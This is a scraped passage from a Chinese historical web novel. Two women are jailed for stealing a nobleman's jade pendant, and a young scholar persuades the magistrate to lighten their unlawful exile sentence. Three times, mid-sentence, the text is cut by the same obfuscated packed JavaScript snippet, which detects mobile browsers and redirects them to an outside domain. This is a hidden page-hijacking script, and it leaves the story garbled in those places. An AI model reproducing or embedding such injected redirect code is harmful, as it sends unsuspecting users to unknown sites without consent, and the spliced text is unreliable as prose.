随从想不到她这么个瘦弱的姑娘竟能说出要救他出去的话，心里一阵感激。可她问的问题，他发现自己没办法回答她。他们是习武之人，那点迷烟会使人疲软，但不至于力气尽失。所有人反应过来后，第一要务当然是保证主子的安全。主上平安无虞最重要，其余的都可以暂时不顾……这是天经地义的事。 随从看着这姑娘近在咫尺的脸，突然感到一阵晕眩，他抬起来的头重重跌了下去，他流的血太多了。 “对不起我不该问你，你说话还要费力气。你先平躺，我这就去找出口。” 陈荦站起身来，看到韶音已经垂头丧气地坐在不远处，嘴里骂骂咧咧。她刚走到墙壁处，伸手敲了敲这墙壁是否中空，突然听到上方传来说话的声音。 说话声不是官话，带着不知何处的浓重乡音。 “四叔，为何要抓那两个男人？这两个男人看起来像是有武力，他们一旦醒来会很麻烦！” “一只脚都没了有什么麻烦！难不成这几百丁壮还制伏不了两个瘸腿的男人？” “那为何要多费精力抓他们？有那两个女人不就够了么？” 被称作四叔的人一阵大笑，“把这两个人栓在磨坊，平日给点吃食，既能日夜拉磨，又跑不出咱们这地方，岂不是个用途？” 陈荦听到这番话，心神大乱。 韶音已惊恐地跑到陈荦身边，紧紧地抱住了她。原来，歹人砍掉他们脚掌，竟是这个原因…… 她们被关押的此处虽属苍梧地界，然而从这些人的口音可以断定，这个地方定然十分偏僻，外人不易进入。 她和姨娘是不是也要被砍断脚掌了？听到上方的石板一响 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14956244|160964||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，陈荦脑中一片凌乱。 那石板刚打开半扇，突然“哐”地一声扣合回来，像是脱力。只听“呃——”地一声，门口有人一声嚎叫，身体重重倒在了石板之上。 好像不知从哪里来了另一群人，接着是一阵混乱的打斗，打斗声很快平息了。 躺在地上的那随从像是听到什么，欣喜地挣起脑袋往外看。 “来人，撬开石板。” “将这十数匪首尽数抓捕，带至苍梧城中，孤亲自审他们！” 两扇石门重新被打开，昨日在山神庙前站岗的另外两个随从率先跳入地窖中。 两人晃亮火折子，看清楚了地窖中被关的四个人。韶音生怕人家误会，急忙解释道：“他俩的脚掌不是我们害的，我们两个弱女子怎么可能这么做，是我们帮他们捆扎伤口的！” 两人看清了地上淌的血，并没有说什么，将四人一起扛出了地窖。 出得地窖，才发现天已经黑透了。 来救人的是昨日在庙中那身份尊贵的锦袍人。此时他带着一队便装的好手，将方才说话的匪首尽数拘捕。他站在地窖门口，往里探查了一番，随后命令：“将这口地窖给我炸平，这些人立即带走，一个不留。” 杜玄渊上前劝阻道：“兄长，此次出行，低调隐身乃是首要。将这些贼首全部带上，欠妥。” 锦袍人否定了他：“苍梧再怎么样也是大宴国土，天子教化之滨，竟出现这样谋财害命的恶民，地方官不管，孤倒要查查是怎么回事。”随后看此处人多眼杂，也不便多说，向身后的便服兵丁下令：“将这些人带走，其余村民暂不惊动，快速撤走！” 韶音和陈荦到锦袍人身前拜谢，猜测此人身份定然非同一般。 那人要扶起韶音，韶音因身体虚浮脚步趔趄了一下，旁边的杜玄渊生怕她唐突贵人，急忙上前将她扶住。 韶音连声道谢：“多谢贵客，多谢两位大人！” “子潜，我们这就下山，你立刻找马车，将这两个女子送到目的地吧！” 韶音大喜：“我们要返回苍梧城，贵客肯帮我们，那是我们的福气。贵客如此扶危济困，祝您福寿绵长，意顺安康！” “不必多礼，你们也是无辜受累。” 锦袍人显然也不想多和他说话，客气了一句，领着便装兵丁先下山去了。 ———— 韶音和陈荦被安排在山下对付歇息了一夜。 第二天清晨，真的有人给她们俩找来了一辆马车。 直到坐在垫着软垫的马车里，韶音和陈荦还有点恍惚。这几天在路上，把什么倒霉事都遭遇了一遍，幸好两人都无恙。拉车的马匹十分俊健，这马跑到傍晚，怎么也能回到申椒馆了。 锦袍人不知到哪去了，被他喊作“子潜”的那位，站在不远处，看着车夫将两个女子扶上车，显然在履行他的职责。 陈荦想多看看那张漂亮的脸，她掀开车帘，鼓起勇气问道：“你的名字就叫子潜吗？”她探出头，“子潜，多谢你了！相救之恩，以后若有机会相见，我和姨娘定会报答你们。” 杜玄渊，字子潜。这小女子十分多嘴，自己却好像搞不明白名和表字的区别，又非要来和他搭话。 杜玄渊不想和她有过多瓜葛，随口敷衍道：“就此分路，日后不会再见，不用言谢。”随即吩咐车夫：“启程吧，务必将她们二人送到苍梧城中。” 受到冷遇，陈荦怅怅地放下了帘子。 清晨说不会相见，然而谁也没料到接下来会发生什么。 ———— 马车行驶一路，待到傍晚快到苍梧城时，杜玄渊突然骑马赶上了她们。 “驭——”城门处，车夫熟练地勒住了马，殷勤地问：“贵客有什么吩咐？” 杜玄渊骑在一匹高大的黑马上，剑指车帘：“是不是你们偷了玉佩，交出来！” 那车夫大惊失色，“啊？” 陈荦没想到重又见到杜玄渊，拔开帘子问道：“什么玉佩？” “公子腰间的螭龙玉佩，是不是你们偷的？” 陈荦看他满脸怒火，有些莫名其妙。她是注意到了那锦袍公子腰间有昂贵的饰物，至于那是什么，她都没有瞧清楚。 8. 第八章 韶音一脸愁苦地掀开帘子：“大人，你别平白冤枉我们！你说的什么什么龙玉佩，我俩怎的知晓那是什么？” “不是你们偷的还能是谁？”杜玄渊抽剑出鞘，“交出来！” 陈荦和韶音一直在一起，从头到尾就没偷过什么玉佩。 陈荦瞪圆了眼睛：“你，你凭什么血口喷人？说我们偷了玉佩，有什么证据？” “你二人假意到公子跟前道谢，其实是贪图财物，顺手牵羊，趁公子不备，取走了他腰间的玉佩！” “你！”陈荦气结，看他那张脸瞬间变得可憎起来，“你凭什么这么说。” 她和韶音多次拜谢，那是真的心存感激。她们这样的人，生来便看人眼色，自小便知世态炎凉，能遇到的善意少之又少。这些人先是收留她们，遇到不测后又救了她们性命，还雇车送她们回苍梧城。她和韶音只有感恩戴德的份，如何会心存歹意？ 韶音：“公子，你不能凭空就将人定罪，你家公子丢的是什么样的玉佩？我和这孩子如何会接触得到！” 太子腰间的螭龙玉佩，是太子妃送的信物，十分珍贵。这两个女子身在民间，从未见过贵人，怎么会懂得这些。 杜玄渊随太子微服私访至苍梧，若不是被连日大雨所阻，也不会滞留在山神庙中发生这些意外，导致两名家将被砍了脚掌…… 今日午间发现螭龙玉佩丢失后，太子和杜玄渊便将嫌疑锁定到这两个女子身上。除开她们，随行的都是忠心耿耿的东宫家将，偷走玉佩的只能是陈荦和韶音。杜玄渊怕时间一长找不到人，便离开队伍先行骑快马来追。 “你们，从车上下来！” 杜玄渊长剑横指，陈荦和韶音不得不从。 让两人下了马车，杜玄渊在车厢内翻找了一番。 韶音一脸凄楚地恳求道：“大人，你真的冤枉我们了。我们就快到家了，你既检查过了没有，就放我们入城去吧。家里主母看我们回来得晚，要惩罚我们的。” 陈荦想到馆中主母满脸煞气揪她耳朵的样子，不禁打了个寒噤。 车厢里空无一物，杜玄渊再看这两人，没有行李包袱，身上衣裙单薄，没有口袋，不像是藏有玉佩的样子。不由得皱起了眉头，难道真不是她们偷的？ 不可能！ 韶音着急赶回申椒馆，她主动扯开自己和陈荦的衣袖。时下，苍梧城中时兴在衣袖中系一个装香囊的小袋，她和陈荦袖袋里确实没有东西。 “大人请查看我们两人的袖袋。” 陈荦觉得杜玄渊就是在胡搅蛮缠，于是心生一计。 她转变成一张笑脸，主动走到杜玄渊身边，眼睛柔媚地一转。“你要不信，便亲自来搜检，看看有没有……”她故意向他挨过去，离得越来越近，倒要看看杜玄渊什么反应。 搜检是必须的！杜玄渊将剑还回鞘中，走近一步，一把抓住她左臂。随后将手伸向陈荦胸口，除了袖袋，怀里也有可能藏匿物品。 陈荦本是试探，没想到杜玄渊来真的，一时慌乱起来，“你……” “站住不许动。” 杜玄渊一心要搜捡出玉佩，没想那么多。他的手探出去，伸到胸口衣襟，左右触摸了片刻，意想不到地触到一团软物。待看到陈荦满脸怒气地看着他，一脸几乎想咬人的表情，才意识那是什么，指尖缩回，将手收了回去。 陈荦：“你可搜到了？” 杜玄渊后退两步，避而不答，转身看向韶音。 韶音看这招有效，便如法炮制，颜色和悦起来，摆出平日接待客人的神色，“公子，你也可以来搜我有没有……” 不知为何，杜玄渊有种受到戏弄的感觉，这两个女子到底什么人？ 可为了太子的螭龙玉佩，他必须得搜。他用剑鞘探了探韶音胸口处的衣襟，并未有任何物品。 “公子，我们所有的行李早就被那日遇到的强盗车夫抢去了，奴家说的是实话。”韶音挤眉弄眼，近乎调笑：“请问公子，还要搜奴家哪里？” 杜玄渊搜寻无果，黑着脸让开了路：“你们走吧。” 他一幅愤愤不平的神情，翻身上马，像是一眼都不想看到韶音她们俩，双腿一夹马腹，从城门处飞驰往南下的大路去了。 陈荦和韶音这才松了口气。 人在落魄的时候，倒霉事就会接连发生。 韶音这一趟南下寻爱，不仅花光了所有积蓄，还亲眼看到她念了十年的男人背恩忘义，早就娶妻生子。回程时遭血光之灾，差点丢了性命。临了到了城门口，还要被人诬陷一回，耽搁大半天差点赶不上关城门的时间。 告别车夫，回到熟悉的苍梧城中，韶音想起旧日种种，心里随即沉了下来。她这一趟，抱着希望离开，回来时，却什么都没有了。 陈荦将她的手抓在手里，“姨娘，我和清嘉，我们会一直陪着你的。” 韶音努力扯出个难看的笑：“难道你们想在申椒馆中呆一辈子吗？在里面呆一辈子的，都是命中注定的苦命人，你们想跟我一样做苦命人么。” 陈荦只有一件事可以安慰她：“你放心，我会好好跟乐师学弹筝的！”她悄悄暗下决心，就算为了韶音，从今天起，要把练习的时间再加一个时辰。 “日落了，我们赶快回去吧。” “你等等，先跟我去个地方。” 韶音拉着陈荦，走过好几条街巷，反复确认身后没人后，来到一条背街的巷子。韶音手伸进胸口，从贴身的里衣轻轻一挑，一块通透莹润的玉佩被她拿了出来。 陈荦：“这，这是……” 她一眼认出来，这是杜玄渊说的那锦袍人腰间所坠的螭龙玉佩！真的被韶音偷了！韶音把她藏在乳间沟壑内，杜玄渊若不一寸寸搜身，根本搜不出来。 “姨娘，你为什……” “随我来。”韶音一把拉起神色复杂的陈荦，转到正街上，往最大的那家质铺走去。 质铺掌柜拿着那螭龙玉佩，细细端详了许久，开口报了一个价：五两银子。 陈荦惊了。韶音这些年积蓄加起来不过二十两，南下一趟就全花光了，可那锦袍人腰间一块玉佩竟能值五两！ 一听那价格，韶音无神的双眼迅速就亮了，像被什么东西突然点燃一样。 质铺掌柜不动声色地看着她们俩，看出这两个女子纯是外行。手中这块玉佩，质地和雕工都十分罕见。实际其价值要高出三倍不止。 陈荦看到韶音的样子，突然有些卑鄙地想，那人既如此奢侈，一块玉佩对他来说应该不算什么吧。就算是韶音偷窃，就让这块玉佩帮帮韶音吧……韶音快要碎掉了。 她默默捏紧了韶音的手，片刻，突然看到韶音跟见了鬼似的顿在原地。陈荦心里一慌，猛地转过身，却看到个最不想看到的人。 杜玄渊揣手抱剑，倚在质铺大门上，一脸怒容地盯着她们俩。 “你俩还有什么话说！” 陈荦讷讷地张了张嘴，无话可说。 ———— 人在极度倒霉的时候，是会一直倒霉的。 苍梧城是大宴西北最大的一座城，城中既有节帅府和州府，粟丰县衙也在此处。杜玄渊拿了玉佩，摸出一捆绳索紧捆了她们俩，暴躁地推搡着两人，往位于城北的粟丰县县衙走去。 路上韶音几次开口求情，杜玄渊只吼了一 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过了不知多久，有狱卒来送牢饭。韶音和陈荦急忙扑过去，想恳求他带信。 “官爷你行行好，烦请您帮我们俩到城中申椒馆带个口信，将我们两个的名字报给馆中，东家就会来县衙救出我们！待我们出去，一定重重酬谢你！” 狱卒踢开韶音的手，“别跟我说这些，县令大人方才就传过话了，你俩犯了重罪！要重判。”他将两碗看不清颜色的馊饭往牢里一送，扬长而去。 接下来几天，每有狱卒路过，韶音都上去恳求那人帮忙带信，从未得到回应，人家干脆将她当成了疯婆子。 陈荦从未读过书，只是因偶然的机会略微识得几个字，她不知道韶音的偷窃行为该判什么重罪。 她们招惹了不该招惹的人，只能惴惴地等着县官大人的审判。 牢房里昏暗潮湿，秽气弥漫。就在被关的第四天，韶音发起了高热，挺不住昏迷过去。陈荦让她正在自己腿上，央求狱卒许久才得到一钵清水，反复擦拭才将韶音的高热降下来。 韶音醒过来了，她却不知不觉睡了过去。梦里梦到那日城门口那匹黑马，和马上那怒气冲冲的人。一转眼，一人一马均变成了血盆大口的怪物，龇牙咧嘴地扑过来，陈荦猛地向后逃走……她身体一抖，在冰冷的破草席上醒过来。 那日山神庙的暮色中，她实在看走了眼。那人貌若神祇，实际却是她和韶音不该遇到的煞星。但这件事说到底是韶音不对，韶音不该偷人家的东西…… 陈荦和韶音每日通过墙壁上的那扇小窗来推知时日，时间一天天过去，她们终于陷入绝望，关在这里，不会有人会帮她们给申椒馆带信了。 韶音开始求着狱卒，要见县官大人。希望县官大人立即开堂审判，她犯了什么罪，都认。 狱卒呵斥道：“大人忙着哪！岂是你想见就能见的！鬼哭狼嚎什么，当心鞭子！” 陈荦被韶音养大，六岁学舞，半途而废。十一岁改学筝，稀松平常。韶音打过她骂过她，可没让她吃过什么别的苦。长到十五岁，还能在鸨母眼皮底下躲藏，没卖过身子，韶音自有韶音的办法。长这么大，陈荦是第一次遇到这么大的灾难，眼看日子一天一天过去，两人终于陷入绝望。 再也没有人来救她们了。 某一日，高处的小窗透入光亮的时间比平常长了不少，将牢房里的草席破碗照得清晰起来。 韶音喃喃地告诉陈荦：“今日立夏了。” 就在立夏的那日傍晚，她们终于见到了县令大人。 9. 第九章 狱卒殷勤地提着灯，狭窄的牢房被照亮。陈荦和韶音往光亮处看去，一位绿袍官员踱着方步走进牢房，身后跟着随从。 看那绿袍的样式，该就是能够断本县诉讼冤屈的县令大人了。 韶音扑到牢门处，凄声哀求道：“县官大人！我一时昏了头，偷了贵人的玉佩，我是罪有应得！请大人给我治罪，但求大人放了我女儿，这件事她从不知情。” “不是的！” 韶音好像下了某种决心，一开口就把所有罪责往自己身上揽。 借着那灯笼的光，韶音暗自向陈荦示意，让她不要说话。陈荦瞬间就懂了韶音的意思，她们两个人必须要有一个人先出去，才能想办法脱离牢狱。陈荦摇头。这一趟从蜀中回来，韶音已是心灰意冷，让她一个人呆在这牢房里，陈荦办不到。 韶音一把抓住她的手捏得死紧，用只有她能听到的声音说，“出去找四娘，只有她能想办法……” “这两个女子……” 那绿袍官员眯着眼睛一看，想起来，这两人是半个月前由失主亲自送到县衙的偷窃犯。牢中也有女犯，他近日太过忙碌，竟一时忘了。 “大人，偷玉佩的事我女儿完全不知情，她是冤枉的，民妇恳请大人放了她！” 绿袍官员名叫陆秉绶，是现任苍梧粟丰县县令。若不是今日接到州府的信函，来牢中提审另一桩城中要案的嫌犯，平日他也不会亲自到这县衙牢房来。听到韶音凄切喊冤，身后又还有州府来的公人，陆秉绶便不能装作没听到。 他忍住不耐，向韶音说道：“她有罪无罪，我大宴律法自有章程，疑犯人等不得喧哗，静待本官开堂审理便是。” 陈荦此时却想让韶音先出去，她不想坐牢，但韶音认识的人多，能想的办法也比她多。于是把心一横，膝行跪在地上，趁韶音沉默之际，抬头向陆秉绶道：“县官大人，那玉佩是我偷的。我们母女二人南下探亲，回程时在一山间破庙中避雨，遇到一行便装的贵人。我和母亲盘缠那时已全部用尽，差点流落山野，我看到那贵人腰间系着一枚昂贵的玉佩，便起了意。趁那公子没注意之时，将玉佩盗来。贵人火眼金睛，在质铺前将我们追上。母亲为了护我，谎称是她偷了玉佩……” 陆秉绶今日来牢房有别的事，此时又不是堂审，他本没有耐心听两个女人的申诉，他抬脚往前走，可这年轻女子的话一字一句说得清楚，他身后的州府书吏也听到了，他若是视而不见，这书吏可是州府大人身边的人…… 他提高了声音，话语间加了三分威严：“嫌犯不得喧哗，待本官择日堂审，一切冤屈自明！” 说罢便不再理会，带着人往深处走去。 县衙牢房不大，只关了七八个嫌犯，其余嫌犯几无生气。只有这母女俩扑到牢门前说个不停，两人却又都把盗窃之罪往自己身上揽。 陈荦和韶音的异常引起了陆秉绶身后一位青衫士子的注意。 那必然有一个人在说谎了，这样的盗窃案，只须花些巧思，便能辨明谁是真贼，为何这母女却在这牢中关了如此多日还不审理？ 他在牢房前蹲下身来，问道：“你果真是冤屈的？” 突然有人下问，陈荦和韶音皆是一愣。借着牢房模糊的光，两人看到眼前的青年眉峰平挑，鼻梁高耸，长着一张英气勃发的脸，气质清越，跟这污秽的牢房格格不入。 陈荦看他穿着，既不像朝廷公人，又不像县衙的三班衙役，忍不住问道：“你，你是……” “我姓陆。” 陈荦和韶音不认识他。 青年问道：“你和你母亲为何撒谎？按你所说，那失主已把失物拿回去了，你们母女二人是盗窃已行而未得财，堂审判罚，不判流刑，也判不了死罪。为何不向县令大人如实以告？” “盗窃已行而未得财……”陈荦念着这话，急切地看向他：“未得财，县官大人就能轻判吗？” 那青年点点头，却实在不能相信这两个关了这么多天还在说谎的嫌犯，又肃然道：“但须你母女敬畏我大宴律法，如实以告，不得信口开河。” 陈荦看他的打扮，低声疑虑道：“你……不是朝廷官人，如何知道？” 陈荦在苍梧城中长大。苍梧城中有州、县还有节度使府的长官和军士，有身份的人很不少。她历来只知道官大一级压死人，谁犯了罪，该如何判罚，全由那些大人物说了算。 那青年没想到她这么问，借着模糊的光仔细看去。这小女子在牢房里关押日久，衣衫和脸颊已经十分脏污，一双略微狭长的眼睛却并未失去神采。那眼睫刚被泪水洗过，忐忑地看着他。 他耐心答道：“这是大宴刑统里的法条，不是朝廷公人，天下士子也该熟读。” 这是被关押这么久以来，第一位蹲下身来和她们说话的人。陈荦看到他身上简朴素净的青衫，再看他一脸正色，便产生了一种这个人大约值得信任的感觉。 这时，只听陆秉绶在前面回头说道：“寒节，不得多言。” 看他要起身，陈荦急忙伸手抓住他的袍角，觉得不妥又放开了。 “我和姨娘，就是你说的，盗窃，盗窃已行而未得财，我们怎么才能领罚出去？” 她虽然急切，却并未想抵赖罪责逃避判罚，陆栖筠心里不禁对她多了几分同情。一边站起身一边说：“既盗窃属实，你和你姨娘等着县令大人的公堂提审吧。” 韶音忍不住问道：“公子，我们还要被关多久？我和这孩子已在牢房中关了二十日了。” 二十日？陆栖筠不解，既是案件已无疑点，叔父为何要将她们关押这么多日？ 前头陆秉绶又叫他名字，陆栖筠没时间再多说，起身跟了上去。 ———— 陆栖筠，字寒节。出身玄趾陆氏，是陆秉绶的侄子。 待打发走了州府的书吏，陆栖筠忍不住在书房向陆秉绶询问：“叔父？牢房中那对母女的盗窃罪早就可按流程审理，为何却一直关着？可是还有疑虑？” 陆秉绶：“苍梧去岁的田赋还未收齐，节帅府催讨，这些天我带着三班衙役到下面乡间督收粮税去了，哪来的时间？” 看陆栖筠不解地站在原地，陆秉绶多说了两句：“你知道那两个女贼是谁送进来的吗？这母女俩胆大包天，偷到平都丞相府头上去了。失主亲自把这两人押解而来，手中拿的是丞相府的牌子。” 陆栖筠微惊：“失主是谁？难道是丞相杜玠？” “杜玠不在朝中处理政事，来苍梧这地界做什么？” “嗯？” “是个青年，看样子不过弱冠年纪，跟你相当。这不重要，重要的是他手中那块如假包换的丞相府令牌！此人要么是杜玠身边的人，便服来苍梧不知做甚。那母女偷到他头上，是自触霉头，赖不得谁。” 陆栖筠不爱听这话，“就是杜玠身边的人，也得按律令法条办事。” 陆秉绶闻言看向窗外，轻声呵斥道：“慎言！当朝宰辅是你个小小士子能议论的？” “可我日后也要进京考试， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14956246|160964||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 与那杜玠同朝为官的。” 陆秉绶知道这侄子自小禀赋极高，因此对他相当喜爱。可陆栖筠这话却令他大为不满。 “你真有青云志气，就待到那时再说！在我房中说这个话，若是传出去，被有心人听了，平白给陆氏惹一身麻烦！别说了。” 陆秉绶为人为官一向都十分谨慎。 陆栖筠想到自己不在其位，难懂得他的艰难，于是致歉道：“叔父，对不起，侄儿该慎言的。” “你知道就好，回你房中读书去吧。那母女关了这些天，那青年人也没给县衙再传来什么信号。明日，也该审理了。” ———— 在县衙牢房中关了二十多天后，陈荦和韶音被人押了出来。从狭窄的甬道踏进大堂后的天井，头顶上天光晃得她俩几乎睁不开眼。因为青衫青年那一句“盗窃已行而未能得财，或能轻判”，韶音和陈荦好像抓住了救命稻草。但真到了要堂审的时候，还是极度不安。 韶音和陈荦被衙役带到县衙大堂，呵令跪在地上受审。 陆秉绶官袍齐整，一脸肃穆，按惯例问了两人前因后果。至于罪证，他自己已亲自看过。韶音和陈荦相信了青衫青年，将偷窃之事从实招认。 “此案本官已经审理清楚，你们两人也认了罪。”陆秉绶不欲多费时间，提笔写下一张判书，交给旁边的书吏。 那书吏接过，清一声嗓子，念道：“本案审理已毕，窃贼李氏、陈氏对所犯盗窃罪行供认不讳。因盗窃赃款巨大，着判罚李氏、陈氏流乌木堡，即日押解启程，永不叙还！” 韶音和陈荦惴惴地听着，直到听到“流放乌木堡”，韶音先是呆在原地，随后忍不住“啊”地一声，浑身一软委顿在地。 乌木堡，那是离苍梧千里之遥的极北苦寒之地。苍梧城中犯了罪被流放乌木堡的人，没有活着回来的。有的在去的途中就冻死饿死了。若是女子被流放，千辛万苦到了那里，大多是被凌辱至死的下场。 “大人！”有两个声音同时喊。阻止了陆秉绶拿起令签的动作。是跪在堂中的陈荦和站在大堂侧旁听的陆栖筠。 陈荦猛地挣扎了一下，试图站起来，却被身旁的粗壮衙役一脚踹在腿弯，喘得她重新跪了下去。 陆秉绶皱眉看着她：“你有何话说？” 陈荦抬头，她从未读过书，也从未见过律法条文长什么样子，可此时情急，忍不住直白地问：“大人，你判我们流放乌木堡，这……是《大宴刑统》中定的吗？” 陆秉绶看那堂中那小小女子瘦骨嶙峋，一双熬红的眼眨也不眨地盯住自己，嘴里还提一句《大宴刑统》，拿起惊堂木拍了一下。“放肆，本官自然是按律判罚，你目不识丁，也敢质问本官？” 惊堂木把陈荦惊得一抖，她想到韶音还在身旁，咬着牙还是看向陆秉绶。 “叔父！” 陆栖筠一直在大堂之侧屏风后听审，此时自堂侧走到陈荦身边。“流放乌木堡，此案怎会判得如此荒唐！” 荒唐？陆秉绶黑脸看着他：“你一届白衣，你懂什么，退下！” 陆栖筠从书吏处知晓了此案的前因后果，方才又旁听了堂审，本是出于兴趣，他万万没想到，陆秉绶写下的判书会是流放乌木堡。 看陆秉绶满脸不悦，陆栖筠随即改了口：“县台大人。” “这母女二人在行旅途中盗得他人财物，后被失主追回，失主分毫未损。按《大宴刑统》，盗窃已行而未能得财者，只可判处徒刑。若判流放，便是错判！” 10. 第十章 陈荦转而看向陆栖筠，费力抬头盯着他的面孔，将他口中说出的话牢牢记着。她和韶音目不识丁，一无所仗，身旁这个青年士子说出的话，此刻仿佛金科玉律。 陆秉绶从小看着这个侄子长大，对他喜爱是真的，有时又极其看不惯他那轻狂的毛病。今日不过允他在堂侧旁观，想不到他竟跑到犯人身旁当堂指认起自己的不是来。他该庆幸的是今日没有把县衙的八字大门打开，因此没有百姓围观，堂上除开嫌犯都是自己人。 陆栖筠又拱手道：“大人，苍梧乃是我大宴国土。王化之地，一方重镇。粟丰县乃苍梧第一县，怎可有这样的错案发生？万万不可！” 陆秉绶胡子一抖，目下他管不得堂下两个弱不禁风的犯人，只想把这不知天高地厚的侄儿教训一顿削磨老实。 陆秉绶重重一拍惊堂木，“胡说八道！将人犯押下，退堂！” 县衙后院的书房中，陆秉绶的声音比平日提高了数倍。 “扰乱公堂！你给我跪下！” 陆栖筠闻言，屈膝跪在书房门口。不远处路过的衙役往书房看了一眼，赶紧佝着身子跑了，县衙的公人很少见长官发这么大脾气。 陆秉绶脾气来得快去得也快。看陆栖筠老实跪了下去，一时又收出了呵斥的话。 哪知陆栖筠却说：“我非是向您认错，乃是跪叔父养育之恩。《大宴刑统》上的文字，侄儿倒背如流。叔父，流放乌木堡，就是错判。” “你懂什么！”陆秉绶一甩袖子，气得重重地坐在了身后的太师椅上。 “若是……” “你住嘴！我问你，那两个女子是你相识之人？” 陆秉绶今晨已着人去查过陈荦和韶音，衙役回禀，这两人皆是城中申椒馆的娼妓。他此刻怀疑这侄儿私下已染上了嫖妓之习。 陆栖筠一愣：“相识？侄儿与这母女俩并不相识，我那日随叔父去后衙时才第一次见她们。可是，侄儿的意思是……” 陆秉绶看他不像是撒谎，打断他道：“那我告诉你她们偷的是什么。那日失主将玉佩拿到县衙出示，那是块白玉螭龙佩，那雕工看似寻常，细看，则是平都皇宫内府出的样式，你说，能佩这玉佩的，会是等闲之人？那人又有丞相府的令牌，这两个女子胆大包天，偷到惹不起的人身上去了！” “竟是这样？”陆栖筠一时惊讶。 佩这螭龙佩的贵人微服来苍梧做什么？近日境内有不寻常之事么？ “若是那失主回返县衙，拿出丞相府令牌询问贼人如何处置，本官若不重判，到时得罪的不知是哪路神仙！累及的不仅是头上这顶的官帽，还有陆氏，甚至是你！” 陆栖筠眼皮轻轻一跳，叔父虽说得不错，但这也是他最不喜陆秉绶的地方。太过谨小慎微，便成了昏聩。玄趾陆氏如今虽已没落，但不该出这样的父母官。 他看向陆秉绶：“叔父，若您不能改正错判，侄儿便代那两位女子上愬州府，将这盗窃案移推至上级。” ———— 粟丰县衙的书吏听到书房中传来呵斥，县官大人和他那从玄趾来探亲的侄子不知谈了些什么。 后来陆大人摔门而去，那青年被罚在书房门口跪了两个时辰。他站起身来时倒并无不恼，神色坦然地接过陆夫人身边小侍女送来的食盒，回房读书去了。 第二日，盗窃案在县衙大堂重审。主犯韶音，判徒刑两年。陈荦有相从之过，笞五十释出。 衙役抬来木凳竹板，陆秉绶并未观刑，让县丞在堂中留看，黑着脸走了。 陆栖筠站在大堂侧的屏风前，冲陈荦点点头。陈荦便知道，这截然不同的判罚，是他在其中使了力，因此便也感激地朝他点点头。看到那刑凳和竹杖，陈荦和韶音便猜到了笞五十的意思，只是不知徒刑又是什么。 书吏走到堂中，他有个职责，就是负责给不识字和听不懂官话的百姓讲解判书。徒刑，乃是牢房监禁。陈荦的笞刑要当堂执行。 韶音要代陈荦受笞刑，被衙役拉开了。 陈荦主动走过去趴在那张刑凳上。她不怕疼，比起用竹杖打在身上，申椒馆对馆中妓子的惩罚有时比这重得多。她往屏风处看了一眼，只希望那穿青衫的青年不要看见自己受刑。 陆栖筠接受到她的目光，先是一愣，随即领会过来。她终究是女子，不知是饥饿的缘故还是什么，她眉眼生动，身型却较十几岁的女子偏瘦些。豆蔻年华，本是青春恣意的时候，她却不得不当众受刑。 不过，陆栖筠想，抛开男人女人的成见，又有什么不一样呢？犯了律法，就该接受惩处的，想必她也懂的吧。 陆栖筠转过视线，这判罚也算公正，他没什么要看的了，便转身离开了大堂。 ———— 竹板结结实实落在身上五十下，陈荦咬牙挨着，疼得五脏六腑都快移位了。正趴在刑凳上喘息，听到书吏跟韶音说：“李氏判徒刑两年。按朝廷规定，犯人可自行决定是否缴纳议罪钱，若按律缴纳议罪钱，便可免去监禁之刑。” 韶音听说用钱可以免罪，一时又喜又忧，急忙问那书吏道：“官差大人，你说的那什么罪钱，要给多少，才能放我出去？” “议罪钱” 之制在大宴施行已有十年之久，各地县衙早就十分熟练。书吏利落地从身后抽出书册，给韶音念道：“平民犯罪，徒刑二年，折合银钱二百两。” 韶音脸色一黑，刚才那点欢喜被浇灭了大半。二百两对高门大户来说不算什么，对她们这样在申椒馆出卖身体的底层妓家，若不是天降横财，这笔巨资就是用上后半辈子都赚不来。 陈荦急忙握住她的手，“姨娘，总比流放乌木堡好，你放心，我和清嘉一定尽快筹出二百两。” 韶音却想到什么似的，惶急地交代她：“楚楚，你出去以后定要好好习艺，时间不多了。” ———— 初夏黄昏的落日柔柔地挂在城西山上。 陈荦拖着疼痛的身躯，一瘸一拐从县衙大门走出来。走了几丈远，街面上那喧嚣扰攘的烟火气活生生地扑了她一脸。边境安宁，苍梧城中人口与日俱增。夏日黄昏，正是大城中最热闹的时候。 因为韶音的一个贪念，她差点再也见不到这么热闹的街市了。 陈荦微微仰起头，面向西边，任温热的落日余晖洒在自己脸上。尽管她和韶音时运不济，但活着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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陈荦和清嘉出生的那一年，因医师调配的汤药有误，馆中有几位女子都不幸有了身孕。那一年的秋天，苍梧城中还起了一场瘟疫。和韶音同住的两个女子先后生下孩子，还在月内时便染疫去世。没有生母喂养，幼婴在馆中就是累赘。东家令馆中杂役将幼婴抱出，遗弃到山沟。 